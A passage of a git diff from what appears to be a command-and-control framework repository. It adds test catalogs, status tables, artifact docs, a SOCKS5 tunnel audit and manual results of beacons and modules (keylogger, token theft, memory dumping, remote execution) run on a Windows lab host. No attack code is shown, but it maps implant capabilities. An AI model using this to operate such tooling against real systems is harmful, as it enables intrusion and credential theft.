`LISTENER-HTTPS-001` | Listeners | HTTPS listener | any | any | https | hosted | pass | pass | +| partial | auto+manual | high | `LISTENER-SMB-001` | Listeners | SMB listener | windows | any | smb | n/a | untested | pass | +| partial | auto+manual | high | `LISTENER-TCP-001` | Listeners | TCP listener | any | any | tcp | n/a | untested | pass | +| pass | auto | critical | `MODULE-COMMANDSPEC-COVERAGE-001` | Modules | CommandSpec coverage | teamserver | n/a | n/a | command_specs | pass | n/a | +| pass | auto+manual | high | `MODULE-SIMPLE-FILESYSTEM-001` | Modules | Simple filesystem modules | any | any | https | any | pass | pass | +| pass | auto+manual | high | `MODULE-SIMPLE-SYSTEM-001` | Modules | Simple system info/process modules | any | any | https | n/a | pass | pass | +| pass | auto+manual | medium | `MODULE-WINDOWS-ADMIN-001` | Modules | Windows admin modules | windows | x64 | https | n/a | pass | pass | +| pass | auto+manual | high | `MODULE-WINDOWS-PRIVILEGE-001` | Modules | Windows privilege/token modules | windows | x64 | https | n/a | pass | pass | +| blocked | auto+manual | high | `MODULE-WINDOWS-EXEC-001` | Modules | Windows remote execution modules | windows | x64 | https | n/a | pass | blocked | +| pass | auto+manual | critical | `MODULE-ASSEMBLYEXEC-CONTRACT-001` | Modules | assemblyExec | windows | x64 | https | generated | pass | pass | +| pass | auto+manual | medium | `MODULE-CAT-CONTRACT-001` | Modules | cat | any | any | https | n/a | pass | pass | +| pass | auto+manual | medium | `MODULE-CD-CONTRACT-001` | Modules | cd | any | any | https | n/a | pass | pass | +| blocked | auto+manual | high | `MODULE-CHISEL-CONTRACT-001` | Modules | chisel | windows | x64 | https | tools | pass | blocked | +| blocked | auto+manual | medium | `MODULE-CIMEXEC-CONTRACT-001` | Modules | cimExec | windows | x64 | https | n/a | pass | blocked | +| blocked | auto+manual | high | `MODULE-COFFLOADER-CONTRACT-001` | Modules | coffLoader | windows | x64 | https | tools | pass | blocked | +| blocked | auto+manual | medium | `MODULE-DCOMEXEC-CONTRACT-001` | Modules | dcomExec | windows | x64 | https | n/a | pass | blocked | +| pass | auto+manual | high | `MODULE-DOTNETEXEC-CONTRACT-001` | Modules | dotnetExec | windows | x64 | https | tools | pass | pass | +| pass | auto+manual | critical | `MODULE-DOWNLOAD-CONTRACT-001` | Modules | download | any | any | https | generated | pass | pass | +| pass | auto+manual | medium | `MODULE-ENUMERATERDPSESSIONS-CONTRACT-001` | Modules | enumerateRdpSessions | windows | x64 | https | n/a | pass | pass | +| pass | auto+manual | medium | `MODULE-ENUMERATESHARES-CONTRACT-001` | Modules | enumerateShares | windows | x64 | https | n/a | pass | pass | +| pass | auto+manual | medium | `MODULE-EVASION-CONTRACT-001` | Modules | evasion | windows | x64 | https | n/a | pass | pass | +| pass | auto+manual | medium | `MODULE-GETENV-CONTRACT-001` | Modules | getEnv | any | any | https | n/a | pass | pass | +| pass | auto+manual | critical | `MODULE-INJECT-CONTRACT-001` | Modules | inject | windows | x64 | https | generated | pass | pass | +| pass | auto+manual | medium | `MODULE-IPCONFIG-CONTRACT-001` | Modules | ipConfig | any | any | https | n/a | pass | pass | +| blocked | auto+manual | high | `MODULE-KERBEROSUSETICKET-CONTRACT-001` | Modules | kerberosUseTicket | windows | x64 | https | uploaded | pass | blocked | +| pass | auto+manual | medium | `MODULE-KEYLOGGER-CONTRACT-001` | Modules | keyLogger | windows | x64 | https | generated | pass | pass | +| planned | planned | medium | `MODULE-KEYLOGGER-GENERATED-ARTIFACT-002` | Modules | keyLogger generated artifact | windows | x64 | https | generated | n/a | n/a | +| pass | auto+manual | medium | `MODULE-KILLPROCESS-CONTRACT-001` | Modules | killProcess | any | any | https | n/a | pass | pass | +| pass | auto+manual | medium | `MODULE-LS-CONTRACT-001` | Modules | ls | any | any | https | n/a | pass | pass | +| pass | auto+manual | medium | `MODULE-MAKETOKEN-CONTRACT-001` | Modules | makeToken | windows | x64 | https | n/a | pass | pass | +| blocked | auto+manual | high | `MODULE-MINIDUMP-CONTRACT-001` | Modules | miniDump | windows | x64 | https | generated | pass | blocked | +| pass | auto+manual | medium | `MODULE-MKDIR-CONTRACT-001` | Modules | mkDir | any | any | https | n/a | pass | pass | +| pass | auto+manual | medium | `MODULE-NETSTAT-CONTRACT-001` | Modules | netstat | any | any | https | n/a | pass | pass | +| pass | auto+manual | critical | `MODULE-POWERSHELL-CONTRACT-001` | Modules | powershell | windows | x64 | https | scripts | pass | pass | +| pass | auto+manual | medium | `MODULE-PS-CONTRACT-001` | Modules | ps | any | any | https | n/a | pass | pass | +| blocked | auto+manual | high | `MODULE-PSEXEC-CONTRACT-001` | Modules | psExec | windows | x64 | https | tools | pass | blocked | +| pass | auto+manual | critical | `MODULE-PWSH-CONTRACT-001` | Modules | pwSh | windows | x64 | https | tools | pass | pass | +| pass | auto+manual | medium | `MODULE-PWD-CONTRACT-001` | Modules | pwd | any | any | https | n/a | pass | pass | +| pass | auto+manual | medium | `MODULE-REGISTRY-CONTRACT-001` | Modules | registry | windows | x64 | https | n/a | pass | pass | +| pass | auto+manual | medium | `MODULE-REMOVE-CONTRACT-001` | Modules | remove | any | any | https | n/a | pass | pass | +| pass | auto+manual | medium | `MODULE-REV2SELF-CONTRACT-001` | Modules | rev2self | windows | x64 | https | n/a | pass | pass | +| blocked | auto+manual | high | `MODULE-REVERSEPORTFORWARD-CONTRACT-001` | Modules | reversePortForward | any | any | https | n/a | pass | blocked | +| pass | auto+manual | high | `MODULE-RUN-CONTRACT-001` | Modules | run | any | any | https | n/a | pass | pass | +| pass | auto+manual | high | `MODULE-SCREENSHOT-CONTRACT-001` | Modules | screenShot | windows | x64 | https | generated | pass | pass | +| pass | auto+manual | high | `MODULE-SCRIPT-CONTRACT-001` | Modules | script | any | any | https | scripts | pass | pass | +| pass | auto+manual | high | `MODULE-SHELL-CONTRACT-001` | Modules | shell | any | any | https | n/a | pass | pass | +| pass | auto+manual | medium | `MODULE-SPAWNAS-CONTRACT-001` | Modules | spawnAs | windows | x64 | https | n/a | pass | pass | +| blocked | auto+manual | medium | `MODULE-SSHEXEC-CONTRACT-001` | Modules | sshExec | any | any | https | n/a | pass | blocked | +| pass | auto+manual | medium | `MODULE-STEALTOKEN-CONTRACT-001` | Modules | stealToken | windows | x64 | https | n/a | pass | pass | +| pass | auto+manual | medium | `MODULE-TASKSCHEDULER-CONTRACT-001` | Modules | taskScheduler | windows | x64 | https | n/a | pass | pass | +| pass | auto+manual | medium | `MODULE-TREE-CONTRACT-001` | Modules | tree | any | any | https | n/a | pass | pass | +| pass | auto+manual | critical | `MODULE-UPLOAD-CONTRACT-001` | Modules | upload | any | any | https | uploaded | pass | pass | +| pass | auto+manual | medium | `MODULE-WHOAMI-CONTRACT-001` | Modules | whoami | any | any | https | n/a | pass | pass | +| blocked | auto+manual | medium | `MODULE-WINRM-CONTRACT-001` | Modules | winRm | windows | x64 | https | n/a | pass | blocked | +| blocked | auto+manual | medium | `MODULE-WMIEXEC-CONTRACT-001` | Modules | wmiExec | windows | x64 | https | n/a | pass | blocked | +| pass | manual | critical | `RELEASE-LINUX-ARTIFACTS-001` | Release | Linux release artifacts | linux | any | n/a | any | n/a | pass | +| blocked | manual | critical | `RELEASE-WINDOWS-ARTIFACTS-001` | Release | Windows release artifacts | windows | any | n/a | any | n/a | blocked | +| pass | auto+manual | critical | `TEAMSERVER-ARTIFACT-CATALOG-001` | TeamServer | Artifact catalog | teamserver | any | n/a | any | pass | pass | +| pass | auto | critical | `TEAMSERVER-COMMAND-CATALOG-001` | TeamServer | Command catalog | teamserver | n/a | n/a | command_specs | pass | n/a | +| pass | auto | critical | `TEAMSERVER-COMMAND-PREPARATION-001` | TeamServer | Command preparation | teamserver | any | any | any | pass | n/a | +| pass | auto+manual | critical | `TEAMSERVER-FILE-TRANSFER-001` | TeamServer | File transfer service | teamserver | any | any | generated | pass | pass | +| pass | auto | critical | `TEAMSERVER-GENERATED-ARTIFACTS-001` | TeamServer | Generated artifact store | teamserver | any | n/a | generated | pass | n/a | +| pass | auto+manual | high | `TEAMSERVER-HOSTED-ARTIFACTS-001` | TeamServer | Hosted artifacts | teamserver | n/a | https | hosted | pass | pass | +| partial | auto+manual | high | `TEAMSERVER-LISTENER-ARTIFACT-SERVICE-001` | TeamServer | Listener artifact service | teamserver | any | any | beacons | pass | untested | +| pass | auto+manual | critical | `TEAMSERVER-LISTENER-SESSION-SERVICE-001` | TeamServer | Listener/session service | teamserver | any | any | n/a | pass | pass | +| pass | auto+manual | critical | `TEAMSERVER-CONFIG-DIRECTORIES-001` | TeamServer | Runtime directory layout | teamserver | any | n/a | any | pass | pass | +| pass | auto+manual | medium | `TEAMSERVER-SOCKS-SERVICE-001` | TeamServer | SOCKS service | teamserver | n/a | any | n/a | pass | pass | +| pass | manual | high | `TEAMSERVER-SOCKS-STRESS-001` | TeamServer | SOCKS stress | teamserver | n/a | any | n/a | n/a | pass | +| partial | auto+manual | high | `TEAMSERVER-SHELLCODE-SERVICE-001` | TeamServer | Shellcode service | teamserver | x64 | n/a | generated | pass | untested | +| pass | auto+manual | critical | `TEAMSERVER-STARTUP-TLS-001` | TeamServer | Startup and TLS | teamserver | n/a | https | n/a | pass | pass | +| pass | auto+manual | critical | `VALIDATION-ERROR-HANDLING-001` | Validation | Error handling | any | any | any | any | pass | pass | +| pass | manual | critical | `VALIDATION-GOLDEN-PATH-LINUX-001` | Validation | Linux golden path | linux | x64 | https | any | n/a | pass | +| pass | manual | critical | `VALIDATION-GOLDEN-PATH-WINDOWS-001` | Validation | Windows golden path | windows | x64 | https | any | n/a | pass | diff --git a/docs/TEST_STATE.md b/docs/TEST_STATE.md new file mode 100644 index 0000000..94a872a --- /dev/null +++ b/docs/TEST_STATE.md @@ -0,0 +1,48 @@ +# Test State + +_Generated by `scripts/generate-test-state.py`._ + +- Catalog entries: `115` +- Auto results: `build/test-results/auto-results.json` +- Manual results: `docs/testing/manual-results.yaml` + +## Final Status + +| Status | Count | +|---|---:| +| pass | 93 | +| fail | 0 | +| blocked | 14 | +| partial | 5 | +| untested | 1 | +| planned | 2 | + +## Validation Modes + +| Mode | Count | +|---|---:| +| auto | 7 | +| manual | 6 | +| auto+manual | 100 | +| planned | 2 | + +## By Area + +| Area | Pass | Fail | Blocked | Partial | Untested | Planned | Total | +|---|---:|---:|---:|---:|---:|---:|---:| +| Artifacts | 5 | 0 | 0 | 0 | 0 | 0 | 5 | +| Beacon | 5 | 0 | 0 | 0 | 0 | 0 | 5 | +| C2Client | 19 | 0 | 0 | 1 | 0 | 1 | 21 | +| CommonCommands | 7 | 0 | 0 | 0 | 0 | 0 | 7 | +| Libraries | 1 | 0 | 0 | 0 | 0 | 0 | 1 | +| Listeners | 2 | 0 | 1 | 2 | 1 | 0 | 6 | +| Modules | 39 | 0 | 12 | 0 | 0 | 1 | 52 | +| Release | 1 | 0 | 1 | 0 | 0 | 0 | 2 | +| TeamServer | 11 | 0 | 0 | 2 | 0 | 0 | 13 | +| Validation | 3 | 0 | 0 | 0 | 0 | 0 | 3 | + +## Critical Non-Pass + +| Final | ID | Area | Feature | Auto | Manual | +|---|---|---|---|---|---| +| blocked | `RELEASE-WINDOWS-ARTIFACTS-001` | Release | Windows release artifacts | n/a | blocked | diff --git a/docs/artifacts.md b/docs/artifacts.md new file mode 100644 index 0000000..0f601f0 --- /dev/null +++ b/docs/artifacts.md @@ -0,0 +1,172 @@ +# Artifact Runtime + +## Goal + +Artifacts are files known by the TeamServer and exposed through one consistent +catalog. Modules, commands, tools, scripts, generated payloads, downloads, +uploads, hosted files, and operator-provided files should all use this model +instead of ad hoc paths. + +The current implementation intentionally does not preserve compatibility with +older path conventions. + +## Runtime Roots + +```text +Release/ + CommandSpecs/ + LinuxBeacons// + LinuxModules// + TeamServer/ + TeamServerModules/ + WindowsBeacons// + WindowsModules// + +data/ + GeneratedArtifacts/ + hosted/ + Scripts/ + Any/ + Linux/ + Windows/ + Tools/ + Any/any/ + Linux// + Windows// + UploadedArtifacts/ + Any/any/ + Linux// + Windows// +``` + +`www` is retired. Files served by HTTP/HTTPS listeners belong under +`data/GeneratedArtifacts/hosted`. + +## Catalog Fields + +Each artifact has stable metadata: + +```text +artifact_id +name +display_name +category +scope +target +platform +arch +format +runtime +source +size +sha256 +description +tags +``` + +Common category values: + +```text +beacon +download +hosted +minidump +module +payload +screenshot +script +tool +upload +``` + +Common runtime values: + +```text +archive +bof +dotnet +file +native +powershell +script +shellcode +text +``` + +## Generated Artifacts + +Generated artifacts use a payload file plus a sidecar: + +```text + +.artifact.json +``` + +The sidecar is the source of truth for generated metadata. Delete operations are +restricted to generated artifacts that have this sidecar. + +Hosted files are different: they are raw files in +`GeneratedArtifacts/hosted`. They are indexed as: + +```text +category: hosted +scope: generated +target: listener +platform: any +arch: any +runtime: file +source: operator +``` + +They are downloadable from the Artifacts UI, served by listeners, and deletable +from the Artifacts UI. Deletion is restricted to files that resolve under +`GeneratedArtifacts/hosted`. + +## Command Specs + +Command specs describe command arguments and completion sources. Artifact-backed +arguments should use `artifact_filter` or `artifact_filters` so the client can +query the TeamServer catalog instead of guessing from examples or local paths. + +Use multiple filters when a command accepts several artifact families, for +example `psExec` accepting release tools and uploaded operator files. + +## Client UI + +The Artifacts tab is the operational view for the catalog: + +- filters refresh immediately on selection +- upload stores files under `UploadedArtifacts` +- download writes the selected artifact to the client machine +- generated sidecar-backed artifacts can be deleted +- hosted files are visible through the `hosted` category and can be deleted + +The Terminal `Host` command works from catalog artifacts, not local client +files: + +```text +Host [hosted_filename] +``` + +The TeamServer resolves the artifact, copies its payload into the listener +hosted directory, and returns the download URL to the client. + +The URL host is resolved in this order: + +```text +DomainName +ExposedIp +IpInterface resolved address +listener bind address +127.0.0.1 for wildcard binds such as 0.0.0.0 +``` + +## Stabilization Checklist + +- Run real listener tests with hosted files under `GeneratedArtifacts/hosted`. +- Verify each migrated module with real artifacts and command autocomplete. +- Confirm upload/download behavior on Linux and Windows clients. +- Validate that generated sidecars are created, indexed, downloaded, and deleted. +- Check release staging rejects runtime/operator roots. +- Review command specs for argument descriptions, examples, and artifact filters. +- Keep new modules on the CommandSpec and ArtifactCatalog path. diff --git a/docs/implants.md b/docs/implants.md index 08c6d63..0cd110a 100644 --- a/docs/implants.md +++ b/docs/implants.md @@ -18,7 +18,9 @@ Release/ x64/ arm64/ LinuxBeacons/ + x64/ LinuxModules/ + x64/ ``` ## C2Implant Assets @@ -66,6 +68,13 @@ LinuxBeacons/ LinuxModules/ ``` +The Linux importer stages the current Linux release under: + +```text +Release/LinuxBeacons/x64/ +Release/LinuxModules/x64/ +``` + Legacy layouts are rejected: ```text diff --git a/docs/socks5-audit.md b/docs/socks5-audit.md new file mode 100644 index 0000000..7e15ef2 --- /dev/null +++ b/docs/socks5-audit.md @@ -0,0 +1,62 @@ +# SOCKS5 Audit + +Date: 2026-05-10 + +Scope: `libs/libSocks5`, `TeamServerSocksService`, and the current beacon tunnel integration. + +## Current Contract + +- SOCKS version: SOCKS5. +- Method negotiation: no-auth is accepted; username/password code exists. +- Command support: `CONNECT` only. +- Address support: IPv4 and domain-name (`ATYP=0x03`). +- IPv6 targets are intentionally not supported yet and return a typed SOCKS failure. +- Transport model: the local SOCKS server creates a tunnel slot, the TeamServer sends `SO5 init/run/stop` tasks to the bound beacon, and the beacon opens the target socket from its own context. + +## Fixes Applied + +- Unsupported SOCKS commands now return reply `0x07` (`Command not supported`) instead of closing with a silent EOF. +- Hostname `CONNECT` requests now queue a tunnel and are transported to the beacon as `host:`. +- Beacon-side SOCKS init resolves hostname targets from the beacon context before connecting. +- Beacon init failures now return SOCKS reply `0x04` (`Host unreachable`) to the local client instead of a silent EOF. +- Unsupported address types, including IPv6 `ATYP=0x04`, return reply `0x08` (`Address type not supported`) instead of a silent EOF. +- Handshake reads now have a bounded timeout so an idle or partial client cannot block the accept loop forever. +- Success replies now encode the bind port in network byte order. +- Library stdout/stderr noise was removed from the normal SOCKS path and SIGPIPE handler. +- `SocksServer` cross-thread state flags are atomic. +- `TestsSocksServer` is now an automated protocol test instead of a manual harness. + +## Automated Coverage + +- `TestsSocksServer` + - rejects unsupported auth method with `0xff` + - accepts no-auth + - queues IPv4 `CONNECT` + - queues domain-name `CONNECT` + - returns a valid success reply after `finishHandshake` + - can return a typed hostname resolution failure reply after beacon-side init failure + - rejects IPv6 `CONNECT` with `0x08` + - rejects non-`CONNECT` commands with `0x07` + - validates beacon-side hostname resolution with `SocksTunnelClient::initHostname` +- `testsTeamServerSocksService` + - covers terminal lifecycle: `start`, `bind`, `unbind`, `stop`, duplicate/error paths. +- `scripts/socks5_stress_test.py` + - remains the live stress tool for bound beacon routes. + - default mode resolves hostnames locally to IPv4. + - `--socks-hostname` validates remote hostname resolution from the beacon context. + +## Residual Risks + +- IPv6 targets are not implemented. +- The TeamServer-to-beacon tunnel is still polling-driven. Throughput and latency depend heavily on beacon sleep and task/result cadence. +- There is no per-tunnel throughput metric, byte counter, queue depth, or timeout surfaced to the operator. +- Buffering is bounded per drain call, but there is no end-to-end backpressure model across local client, TeamServer queue, and beacon socket. +- The TeamServer SOCKS service is single-route today: one local port and one bound beacon at a time. +- Error details are still mostly textual at the terminal layer; typed command/error status would be cleaner once the broader error proto work lands. + +## Manual Validation To Keep + +1. Start SOCKS and bind a live beacon. +2. Run `curl --socks5 127.0.0.1:1080 http://example.com/ -I`. +3. Run `scripts/socks5_stress_test.py --proxy-host 127.0.0.1 --proxy-port 1080 --url http://example.com/ --requests 300 --concurrency 25 --timeout 15 --expect-status 200`. +4. Run the same stress test with `--socks-hostname` and verify it passes through beacon-side hostname resolution. diff --git a/docs/testing/manual-results.yaml b/docs/testing/manual-results.yaml new file mode 100644 index 0000000..e12d399 --- /dev/null +++ b/docs/testing/manual-results.yaml @@ -0,0 +1,834 @@ +schema_version: 1 +updated_at: "2026-05-09" +description: > + Manual validation results for scenarios defined in test-catalog.yaml. Keep + this file result-only: every result id must already exist in the catalog. + +allowed_statuses: [pass, fail, blocked, untested] + +# Example: +# results: +# - id: VALIDATION-GOLDEN-PATH-WINDOWS-001 +# status: pass +# date: "2026-05-07" +# build: "local-release" +# tester: "max" +# evidence: "Windows x64 HTTPS beacon connected, ran pwd/ls/download/screenShot, hosted artifact fetched." +# notes: "Lab VM: WIN11-x64." + +results: + - id: LISTENER-HTTPS-001 + status: pass + date: "2026-05-07" + build: "local-dev" + tester: "max" + evidence: ".\\BeaconHttp.exe 172.28.141.244 8443 https -> connection OK." + notes: "Windows beacon over HTTPS listener 8443." + + - id: BEACON-CORE-REGISTER-001 + status: pass + date: "2026-05-07" + build: "local-dev" + tester: "max" + evidence: ".\\BeaconHttp.exe 172.28.141.244 8443 https connected and appeared in the client. .\\BeaconTcp.exe 172.28.141.244 4444 also connected successfully." + notes: "Windows beacon registration validated through HTTPS and TCP connections." + + - id: C2CLIENT-ARTIFACTS-LIST-001 + status: pass + date: "2026-05-08" + build: "local-dev" + tester: "max" + evidence: "Uploaded TXT artifact was visible in Artifacts tab and its ID could be copied from the panel. Basic filters, Scripts, Generated, Upload, and Hosted views were validated." + notes: "Validated through Artifacts panel workflow." + + - id: C2CLIENT-ARTIFACTS-UPLOAD-001 + status: pass + date: "2026-05-07" + build: "local-dev" + tester: "max" + evidence: "Uploaded a TXT file from the Artifacts tab." + notes: "Operator-uploaded artifact creation works from the client UI." + + - id: ARTIFACT-UPLOADED-001 + status: pass + date: "2026-05-07" + build: "local-dev" + tester: "max" + evidence: "Uploaded TXT artifact was addressable by ID copied from the Artifacts panel. Upload command also resolved text.txt by name and 2941ace693c5f011f3c84b7e49ddb27a9bf0316f228df504289d849f38dc2549 by ID." + notes: "Uploaded artifact lookup worked for host and beacon upload workflows." + + - id: C2CLIENT-TERMINAL-HOST-001 + status: pass + date: "2026-05-08" + build: "local-dev" + tester: "max" + evidence: "Hosted the uploaded TXT artifact from Terminal using the copied artifact ID, then downloaded the hosted file from the browser. Host autocomplete presents upload artifacts as name plus short hash, listener hashes as short hashes only, and the command still resolves by name, short hash, or full hash." + notes: "Terminal host command works with artifact references and compact human-readable autocomplete." + + - id: TEAMSERVER-HOSTED-ARTIFACTS-001 + status: pass + date: "2026-05-07" + build: "local-dev" + tester: "max" + evidence: "Hosted artifact was served by TeamServer and could be downloaded from a browser." + notes: "GeneratedArtifacts/hosted path validated through browser download." + + - id: C2CLIENT-ARTIFACTS-DELETE-001 + status: pass + date: "2026-05-08" + build: "local-dev" + tester: "max" + evidence: "After the artifact delete fix, an uploaded artifact could be deleted directly from the Artifacts tab." + notes: "Validated uploaded artifact delete from the client UI. Generated and hosted delete paths were already covered by automated tests." + + - id: C2CLIENT-STARTUP-GUI-001 + status: pass + date: "2026-05-08" + build: "local-dev" + tester: "max" + evidence: "python3 -m C2Client.GUI starts successfully after terminal/help/artifact UI changes." + notes: "Validated fixed tabs, terminal startup help, terminal lowercase autocomplete, and Artifacts loading." + + - id: TEAMSERVER-ARTIFACT-CATALOG-001 + status: pass + date: "2026-05-08" + build: "local-dev" + tester: "max" + evidence: "Artifacts tab validated base filters plus Scripts, Generated, Upload, and Hosted categories. Hosted artifact flow works after autocomplete cleanup." + notes: "Manual UI coverage complements TeamServer artifact catalog automated tests." + + - id: TEAMSERVER-STARTUP-TLS-001 + status: pass + date: "2026-05-08" + build: "local-dev" + tester: "max" + evidence: "Clean TeamServer startup and C2Client GUI connection over TLS validated. Correct C2_CERT_PATH works and base RPCs respond." + notes: "Validated TeamServer startup, TLS client connection, and base sessions/listeners/artifacts/commands RPC availability." + + - id: TEAMSERVER-LISTENER-SESSION-SERVICE-001 + status: pass + date: "2026-05-08" + build: "local-dev" + tester: "max" + evidence: "Validated listModule, loadModule ls, loadModule cd, duplicate loadModule ls rejection, cd ., ls, sleep 0.01, and listModule on an active beacon. listenerPoll heartbeat no longer creates noisy task-result logs after starting a beacon-side TCP listener. After TeamServer restart, the existing beacon-side TCP child listener reappears in the listener table and no repeated registered child listener info logs are emitted." + notes: "Covers command queueing, duplicate module tracking, result routing, sleep command result, module list state, child listener heartbeat handling, and child listener rehydration after TeamServer restart." + + - id: TEAMSERVER-CONFIG-DIRECTORIES-001 + status: pass + date: "2026-05-08" + build: "local-dev" + tester: "max" + evidence: "Release/runtime directory paths were checked after the layout normalization and are present in the expected locations." + notes: "Validated TeamServer runtime directory layout for artifact roots, tools, scripts, beacons, modules, and command specs." + + - id: ARTIFACT-LAYOUT-001 + status: pass + date: "2026-05-08" + build: "local-dev" + tester: "max" + evidence: "Canonical artifact paths were checked and are OK, including generated/hosted, uploaded, tools, scripts, beacons, modules, and command specs." + notes: "Manual path validation complements catalog/runtime automated checks." + + - id: COMMON-LOADMODULE-001 + status: pass + date: "2026-05-07" + build: "local-dev" + tester: "max" + evidence: "Loaded run.dll successfully over HTTPS. Loaded upload, cd, ls, and cat successfully over TCP. Duplicate loadModule upload was rejected with: Module already tracked on this beacon: upload (loaded)." + notes: "Windows beacon module loading and duplicate-load rejection validated." + + - id: COMMON-LISTMODULE-001 + status: pass + date: "2026-05-07" + build: "local-dev" + tester: "max" + evidence: "listModule returned loaded modules cat, ls, cd, upload. After unloadModule cat, listModule returned ls, cd, upload." + notes: "Windows beacon over TCP." + + - id: COMMON-UNLOADMODULE-001 + status: pass + date: "2026-05-07" + build: "local-dev" + tester: "max" + evidence: "unloadModule cat completed with Success. A following cat toto.testupload returned Module not loaded." + notes: "Windows beacon over TCP." + + - id: COMMON-HELP-001 + status: pass + date: "2026-05-08" + build: "local-dev" + tester: "max" + evidence: "Terminal help and beacon console help were validated after command casing and description alignment. Terminal commands are displayed in lowercase, include descriptions, and command-specific help follows the CommandSpec-style layout." + notes: "Validated help and help behavior in both terminal and beacon console." + + - id: MODULE-RUN-CONTRACT-001 + status: pass + date: "2026-05-09" + build: "local-dev" + tester: "max" + evidence: "Executed dir through loaded run.dll successfully. Retested run whoami on a Windows beacon during the module batch and the command completed successfully." + notes: "Windows beacon over HTTPS." + + - id: BEACON-CORE-TASK-QUEUE-001 + status: pass + date: "2026-05-07" + build: "local-dev" + tester: "max" + evidence: "Queued and completed loadModule run.dll, then executed dir successfully. TCP path also queued/completed loadModule upload/cd/ls/cat, cd, ls, upload, and cat commands." + notes: "Validates live beacon task queue and command result flow over HTTPS and TCP paths." + + - id: BEACON-CORE-MODULE-LIFECYCLE-001 + status: pass + date: "2026-05-07" + build: "local-dev" + tester: "max" + evidence: "Loaded upload, cd, ls, and cat modules. listModule showed all loaded. Duplicate loadModule upload was rejected. unloadModule cat succeeded. cat then returned Module not loaded. listModule no longer showed cat." + notes: "Windows beacon module load/list/duplicate/unload lifecycle validated over TCP." + + - id: LISTENER-TCP-001 + status: pass + date: "2026-05-07" + build: "local-dev" + tester: "max" + evidence: "Created TCP listener on 4444. .\\BeaconTcp.exe 172.28.141.244 4444 -> connection OK. loadModule/cd/ls/upload/cat commands completed over TCP." + notes: "Windows beacon over TCP listener 4444." + + - id: LISTENER-HTTP-001 + status: pass + date: "2026-05-08" + build: "local-dev" + tester: "max" + evidence: "HTTP listener on port 8000 accepted a Windows beacon. listModule returned no loaded modules, loadModule whoami and whoami completed successfully, loadModule ls and ls completed successfully, and sleep 0.01 returned 10ms." + notes: "Also retested that creating an HTTP listener on an already-used port is now rejected instead of creating a ghost listener." + + - id: LISTENER-GITHUB-001 + status: blocked + date: "2026-05-08" + build: "local-dev" + tester: "max" + evidence: "Transport intentionally set aside during stabilization." + notes: "GitHub listener is an experimental/test transport that is not maintained or actively validated for the current release scope." + + - id: LISTENER-SMB-001 + status: pass + date: "2026-05-08" + build: "local-dev" + tester: "max" + evidence: "listener start smb gogo returned a child listener hash. After the SMB listener stop fix, listener stop was retested and the parent beacon remained responsive instead of freezing." + notes: "Validates Windows SMB/named-pipe child listener start and stop behavior after waking the SMB listener thread before join." + + - id: COMMON-LISTENER-001 + status: pass + date: "2026-05-08" + build: "local-dev" + tester: "max" + evidence: "Validated listener start tcp, listener start smb, child listener rehydration after TeamServer restart, and listener stop without beacon freeze." + notes: "Covers the common listener command contract for beacon-side child listeners." + + - id: MODULE-CD-CONTRACT-001 + status: pass + date: "2026-05-07" + build: "local-dev" + tester: "max" + evidence: "cd C:\\users\\max\\desktop completed and returned C:\\users\\max\\desktop." + notes: "Windows beacon over TCP." + + - id: MODULE-LS-CONTRACT-001 + status: pass + date: "2026-05-07" + build: "local-dev" + tester: "max" + evidence: "ls listed C:\\users\\max\\desktop and later showed toto.testupload after upload." + notes: "Windows beacon over TCP." + + - id: MODULE-UPLOAD-CONTRACT-001 + status: pass + date: "2026-05-07" + build: "local-dev" + tester: "max" + evidence: "upload without args returned Usage: upload . upload text.txt toto.testupload succeeded and ls showed toto.testupload. upload 2941ace693c5f011f3c84b7e49ddb27a9bf0316f228df504289d849f38dc2549 testWithId also succeeded." + notes: "Validated usage error, upload by artifact name, and upload by artifact ID over TCP." + + - id: MODULE-CAT-CONTRACT-001 + status: pass + date: "2026-05-07" + build: "local-dev" + tester: "max" + evidence: "cat toto.testupload returned toto." + notes: "Windows beacon over TCP." + + - id: MODULE-DOWNLOAD-CONTRACT-001 + status: pass + date: "2026-05-07" + build: "local-dev" + tester: "max" + evidence: "loadModule download succeeded. download test1234.txt stored 1778165820263799973-a83c-test1234.txt. download C:\\Windows\\System32\\OneDriveSetup.exe stored 1778165909382546237-5f96-OneDriveSetup.exe. Download from Artifacts worked and SHA-256 hash check was OK." + notes: "Validated small and large file download from Windows beacon." + + - id: MODULE-PWD-CONTRACT-001 + status: pass + date: "2026-05-09" + build: "local-dev" + tester: "max" + evidence: "loadModule pwd and pwd completed successfully on a Windows beacon." + notes: "Validated during the simple module batch." + + - id: MODULE-MKDIR-CONTRACT-001 + status: pass + date: "2026-05-09" + build: "local-dev" + tester: "max" + evidence: "loadModule mkDir and mkDir C:\\users\\max\\desktop\\c2-module-test completed successfully." + notes: "Validated directory creation on a Windows beacon." + + - id: MODULE-TREE-CONTRACT-001 + status: pass + date: "2026-05-09" + build: "local-dev" + tester: "max" + evidence: "loadModule tree and tree C:\\users\\max\\desktop\\c2-module-test completed successfully." + notes: "Validated tree output on the test directory created by mkDir." + + - id: MODULE-REMOVE-CONTRACT-001 + status: pass + date: "2026-05-09" + build: "local-dev" + tester: "max" + evidence: "loadModule remove and remove C:\\users\\max\\desktop\\c2-module-test completed successfully." + notes: "Validated file/directory removal on a Windows beacon." + + - id: MODULE-SIMPLE-FILESYSTEM-001 + status: pass + date: "2026-05-09" + build: "local-dev" + tester: "max" + evidence: "Validated cat, cd, ls, pwd, mkDir, tree, remove, upload, and download across the Windows module batches and golden paths." + notes: "Combines prior cat/cd/ls/upload/download validation with the 2026-05-09 pwd/mkDir/tree/remove batch." + + - id: MODULE-WHOAMI-CONTRACT-001 + status: pass + date: "2026-05-08" + build: "local-dev" + tester: "max" + evidence: "loadModule whoami and whoami completed successfully over the HTTP listener test; output included the current user and group memberships." + notes: "Windows beacon over HTTP." + + - id: MODULE-GETENV-CONTRACT-001 + status: pass + date: "2026-05-09" + build: "local-dev" + tester: "max" + evidence: "loadModule getEnv and getEnv completed successfully on a Windows beacon." + notes: "Validated during the simple system module batch." + + - id: MODULE-IPCONFIG-CONTRACT-001 + status: pass + date: "2026-05-09" + build: "local-dev" + tester: "max" + evidence: "loadModule ipConfig and ipConfig completed successfully on a Windows beacon." + notes: "Validated during the simple system module batch." + + - id: MODULE-NETSTAT-CONTRACT-001 + status: pass + date: "2026-05-09" + build: "local-dev" + tester: "max" + evidence: "loadModule netstat and netstat completed successfully on a Windows beacon." + notes: "Validated during the simple system module batch." + + - id: MODULE-PS-CONTRACT-001 + status: pass + date: "2026-05-09" + build: "local-dev" + tester: "max" + evidence: "loadModule ps and ps completed successfully on a Windows beacon." + notes: 